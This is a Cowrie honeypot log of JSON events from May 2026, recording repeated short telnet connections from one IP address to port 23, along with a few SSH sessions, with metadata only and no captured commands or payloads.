{"eventid":"cowrie.session.closed","duration":31.113890409469604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:03.708983Z","src_ip":"50.6.18.72","session":"94a41f4ef946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.446342706680298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:03.933881Z","src_ip":"50.6.18.72","session":"eef6d752d8f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49076,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d20857de6f6","protocol":"telnet","message":"New connection: 50.6.18.72:49076 (159.203.135.109:23) [session: 9d20857de6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:03.979678Z"}
{"eventid":"cowrie.session.closed","duration":31.26915669441223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:03.986083Z","src_ip":"50.6.18.72","session":"666cf736703f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466796398162842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:04.067884Z","src_ip":"50.6.18.72","session":"b6f9be3be062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49088,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7ddf1ed4b7","protocol":"telnet","message":"New connection: 50.6.18.72:49088 (159.203.135.109:23) [session: 8f7ddf1ed4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:04.223234Z"}
{"eventid":"cowrie.session.closed","duration":31.116219997406006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:04.590700Z","src_ip":"50.6.18.72","session":"cf8dbe24dd4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774166345596313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:04.695288Z","src_ip":"50.6.18.72","session":"d75374dd4754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49096,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a155bb768b","protocol":"telnet","message":"New connection: 50.6.18.72:49096 (159.203.135.109:23) [session: c0a155bb768b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:04.951519Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49106,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e7d91eecb11","protocol":"telnet","message":"New connection: 50.6.18.72:49106 (159.203.135.109:23) [session: 2e7d91eecb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:05.103259Z"}
{"eventid":"cowrie.session.closed","duration":30.99046540260315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:05.391972Z","src_ip":"50.6.18.72","session":"1725a4c04ae0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49116,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95d9e3a76c1","protocol":"telnet","message":"New connection: 50.6.18.72:49116 (159.203.135.109:23) [session: f95d9e3a76c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:05.469368Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49100,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1f772c1c1b","protocol":"telnet","message":"New connection: 50.6.18.72:49100 (159.203.135.109:23) [session: 9b1f772c1c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:06.114633Z"}
{"eventid":"cowrie.session.closed","duration":31.1180100440979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:06.218354Z","src_ip":"50.6.18.72","session":"90b8d3a54b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49848,"dst_ip":"159.203.135.109","dst_port":23,"session":"21028e9b622d","protocol":"telnet","message":"New connection: 50.6.18.72:49848 (159.203.135.109:23) [session: 21028e9b622d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:06.517937Z"}
{"eventid":"cowrie.session.closed","duration":30.400185346603394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:06.576127Z","src_ip":"50.6.18.72","session":"3ce79b0872e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131183385849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:06.793345Z","src_ip":"50.6.18.72","session":"1ba951472e89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49880,"dst_ip":"159.203.135.109","dst_port":23,"session":"48fd9a161605","protocol":"telnet","message":"New connection: 50.6.18.72:49880 (159.203.135.109:23) [session: 48fd9a161605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:07.282532Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49888,"dst_ip":"159.203.135.109","dst_port":23,"session":"33849a6f3a5e","protocol":"telnet","message":"New connection: 50.6.18.72:49888 (159.203.135.109:23) [session: 33849a6f3a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:07.377800Z"}
{"eventid":"cowrie.session.closed","duration":31.123221397399902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:07.483998Z","src_ip":"50.6.18.72","session":"1128644f8b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.670698881149292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:07.516908Z","src_ip":"50.6.18.72","session":"72e47f8700de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092374324798584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:07.776754Z","src_ip":"50.6.18.72","session":"9835927e63de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49902,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c3c7b974ae","protocol":"telnet","message":"New connection: 50.6.18.72:49902 (159.203.135.109:23) [session: 90c3c7b974ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:08.254525Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49864,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdbbcf1b1c7f","protocol":"telnet","message":"New connection: 50.6.18.72:49864 (159.203.135.109:23) [session: cdbbcf1b1c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:08.259752Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49908,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec781de1c9b5","protocol":"telnet","message":"New connection: 50.6.18.72:49908 (159.203.135.109:23) [session: ec781de1c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:08.397470Z"}
{"eventid":"cowrie.session.closed","duration":31.067084312438965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:08.575814Z","src_ip":"50.6.18.72","session":"2f1c73a4c4c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49910,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dafe974c58d","protocol":"telnet","message":"New connection: 50.6.18.72:49910 (159.203.135.109:23) [session: 1dafe974c58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:08.741971Z"}
{"eventid":"cowrie.session.closed","duration":44.76439809799194,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:08.849437Z","src_ip":"45.58.127.90","session":"a88423129e3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49912,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf285e171fd7","protocol":"telnet","message":"New connection: 50.6.18.72:49912 (159.203.135.109:23) [session: cf285e171fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:09.162340Z"}
{"eventid":"cowrie.session.closed","duration":31.120507955551147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:09.171119Z","src_ip":"50.6.18.72","session":"4ec03122ad96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.879124641418457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:09.393582Z","src_ip":"50.6.18.72","session":"f89ca2b3adc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506137132644653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:09.691767Z","src_ip":"50.6.18.72","session":"58c28f6f340f","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","size":820,"shasum":"a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","duplicate":true,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:09.733456Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.8","message":"Connection lost after 37.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:09.933586Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49918,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1f8bab269f","protocol":"telnet","message":"New connection: 50.6.18.72:49918 (159.203.135.109:23) [session: da1f8bab269f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:10.177276Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","size":820,"shasum":"a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","duplicate":true,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:11.540982Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49924,"dst_ip":"159.203.135.109","dst_port":23,"session":"99111a5b7f8d","protocol":"telnet","message":"New connection: 50.6.18.72:49924 (159.203.135.109:23) [session: 99111a5b7f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:11.937935Z"}
{"eventid":"cowrie.session.closed","duration":"37.9","message":"Connection lost after 37.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:12.203067Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49946,"dst_ip":"159.203.135.109","dst_port":23,"session":"78165963c1d4","protocol":"telnet","message":"New connection: 50.6.18.72:49946 (159.203.135.109:23) [session: 78165963c1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:12.443249Z"}
{"eventid":"cowrie.session.closed","duration":32.352017641067505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:12.484816Z","src_ip":"50.6.18.72","session":"6e6271e63bae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49950,"dst_ip":"159.203.135.109","dst_port":23,"session":"b91866bb7030","protocol":"telnet","message":"New connection: 50.6.18.72:49950 (159.203.135.109:23) [session: b91866bb7030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:12.935113Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49954,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcedfb409baa","protocol":"telnet","message":"New connection: 50.6.18.72:49954 (159.203.135.109:23) [session: fcedfb409baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:13.050644Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49964,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cb34805e53f","protocol":"telnet","message":"New connection: 50.6.18.72:49964 (159.203.135.109:23) [session: 6cb34805e53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:13.539356Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49976,"dst_ip":"159.203.135.109","dst_port":23,"session":"29cac1c1377d","protocol":"telnet","message":"New connection: 50.6.18.72:49976 (159.203.135.109:23) [session: 29cac1c1377d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:13.903076Z"}
{"eventid":"cowrie.session.closed","duration":31.018749713897705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:13.968394Z","src_ip":"50.6.18.72","session":"cdd9744f5e1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33438205718994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.091885Z","src_ip":"50.6.18.72","session":"4fecc39a8860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11209225654602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.311054Z","src_ip":"50.6.18.72","session":"342ef55a44b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49980,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46b3abfbf5e","protocol":"telnet","message":"New connection: 50.6.18.72:49980 (159.203.135.109:23) [session: e46b3abfbf5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.317430Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccaf993d8911","protocol":"telnet","message":"New connection: 50.6.18.72:49986 (159.203.135.109:23) [session: ccaf993d8911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.328473Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50000,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a401342fc68","protocol":"telnet","message":"New connection: 50.6.18.72:50000 (159.203.135.109:23) [session: 9a401342fc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.558445Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"35cdc63c79ac","protocol":"telnet","message":"New connection: 50.6.18.72:50008 (159.203.135.109:23) [session: 35cdc63c79ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.692817Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50014,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d0eec90ef72","protocol":"telnet","message":"New connection: 50.6.18.72:50014 (159.203.135.109:23) [session: 4d0eec90ef72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.768012Z"}
{"eventid":"cowrie.session.closed","duration":31.266141891479492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.848655Z","src_ip":"69.162.99.242","session":"dab386cbe3c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eea0f90b496","protocol":"telnet","message":"New connection: 50.6.18.72:50018 (159.203.135.109:23) [session: 0eea0f90b496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.862478Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50030,"dst_ip":"159.203.135.109","dst_port":23,"session":"789a08381fae","protocol":"telnet","message":"New connection: 50.6.18.72:50030 (159.203.135.109:23) [session: 789a08381fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:14.970283Z"}
{"eventid":"cowrie.session.closed","duration":31.15016508102417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:15.037429Z","src_ip":"50.6.18.72","session":"0665dcc15e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50040,"dst_ip":"159.203.135.109","dst_port":23,"session":"6176022ad564","protocol":"telnet","message":"New connection: 50.6.18.72:50040 (159.203.135.109:23) [session: 6176022ad564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:15.234617Z"}
{"eventid":"cowrie.session.closed","duration":30.615010023117065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:15.585629Z","src_ip":"50.6.18.72","session":"a538752482d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73778796195984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:15.656235Z","src_ip":"50.6.18.72","session":"9bbedaa878e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c855f761c2f","protocol":"telnet","message":"New connection: 50.6.18.72:48300 (159.203.135.109:23) [session: 0c855f761c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:15.733506Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48308,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aad193f9487","protocol":"telnet","message":"New connection: 50.6.18.72:48308 (159.203.135.109:23) [session: 9aad193f9487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:15.762151Z"}
{"eventid":"cowrie.session.closed","duration":30.162245988845825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:16.561065Z","src_ip":"50.6.18.72","session":"dbc6562d1647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38560962677002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:16.567127Z","src_ip":"50.6.18.72","session":"c8062f47e868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068423748016357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:16.646602Z","src_ip":"50.6.18.72","session":"eceb78367e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115201234817505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:16.878376Z","src_ip":"50.6.18.72","session":"a75ce3ab0d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48318,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dfcb417f3a8","protocol":"telnet","message":"New connection: 50.6.18.72:48318 (159.203.135.109:23) [session: 0dfcb417f3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.217092Z"}
{"eventid":"cowrie.session.closed","duration":31.111035346984863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.492620Z","src_ip":"50.6.18.72","session":"f179b8813a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.105249643325806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.555512Z","src_ip":"50.6.18.72","session":"472cf44c2026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48334,"dst_ip":"159.203.135.109","dst_port":23,"session":"8822636b309b","protocol":"telnet","message":"New connection: 50.6.18.72:48334 (159.203.135.109:23) [session: 8822636b309b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.585191Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bca7921a9bb","protocol":"telnet","message":"New connection: 50.6.18.72:60258 (159.203.135.109:23) [session: 1bca7921a9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.645304Z"}
{"eventid":"cowrie.session.closed","duration":0.012481451034545898,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.657612Z","src_ip":"50.6.18.72","session":"1bca7921a9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04550075531006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.683677Z","src_ip":"50.6.18.72","session":"bee2f7f361a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221506357192993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.718689Z","src_ip":"50.6.18.72","session":"68aeddcce940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12315058708191,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.775424Z","src_ip":"50.6.18.72","session":"3404bf5fc3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340075969696045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:17.845605Z","src_ip":"50.6.18.72","session":"c170d154b4e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48338,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0d9dc88836b","protocol":"telnet","message":"New connection: 50.6.18.72:48338 (159.203.135.109:23) [session: c0d9dc88836b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:18.179574Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48350,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48e64b2c38b","protocol":"telnet","message":"New connection: 50.6.18.72:48350 (159.203.135.109:23) [session: e48e64b2c38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:18.333572Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"00db23a8f9e0","protocol":"telnet","message":"New connection: 50.6.18.72:48362 (159.203.135.109:23) [session: 00db23a8f9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:18.588350Z"}
{"eventid":"cowrie.session.closed","duration":31.09774661064148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:18.871097Z","src_ip":"50.6.18.72","session":"9ba1c509171b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48364,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d19784f7de","protocol":"telnet","message":"New connection: 50.6.18.72:48364 (159.203.135.109:23) [session: 18d19784f7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:18.987519Z"}
